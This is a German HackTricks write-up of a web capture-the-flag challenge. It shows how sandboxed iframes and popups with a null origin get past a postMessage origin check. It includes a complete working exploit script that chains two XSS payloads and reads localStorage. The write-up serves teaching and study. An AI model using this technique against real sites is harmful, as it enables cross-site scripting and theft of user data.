Bypassing SOP with Iframes - 1

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Iframes in SOP-1

In dieser Herausforderung, erstellt von NDevTK und Terjanq, müssen Sie eine XSS im codierten

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Das Hauptproblem besteht darin, dass die Hauptseite DomPurify verwendet, um die data.body zu senden. Um Ihre eigenen HTML-Daten an diesen Code zu senden, müssen Sie e.origin !== window.origin umgehen.

Schauen wir uns die vorgeschlagene Lösung an.

SOP-Umgehung 1 (e.origin === null)

Wenn //example.org in ein sandboxed iframe eingebettet ist, wird der Ursprung der Seite null sein, d.h. window.origin === null. Durch das Einbetten des iframes über <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> könnten wir also den Ursprung null erzwingen.

Wenn die Seite einbettbar wäre, könnten Sie diesen Schutz auf diese Weise umgehen (Cookies müssen möglicherweise auch auf SameSite=None gesetzt werden).

SOP-Umgehung 2 (window.origin === null)

Die weniger bekannte Tatsache ist, dass wenn der Sandbox-Wert allow-popups gesetzt ist, das geöffnete Popup alle gesandboxten Attribute erbt, es sei denn, allow-popups-to-escape-sandbox ist gesetzt. Daher wird das Öffnen eines Popups von einem null Ursprung dazu führen, dass auch window.origin im Popup null ist.

Lösung für die Herausforderung

Daher könnte man für diese Herausforderung ein iframe erstellen, ein Popup zur Seite mit dem anfälligen XSS-Code-Handler (/iframe.php) öffnen, da window.origin === e.origin, da beide null sind, ist es möglich, eine Payload zu senden, die das XSS ausnutzt.

Diese Payload wird den Identifier abrufen und ein XSS an die Hauptseite (die Seite, die das Popup öffnet) senden, die die Position ändern wird, um das anfällige /iframe.php aufzurufen. Da der Identifier bekannt ist, spielt es keine Rolle, dass die Bedingung window.origin === e.origin nicht erfüllt ist (denken Sie daran, der Ursprung ist das Popup aus dem iframe, das den Ursprung null hat), da data.identifier === identifier. Dann wird das XSS erneut ausgelöst, diesmal im richtigen Ursprung.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated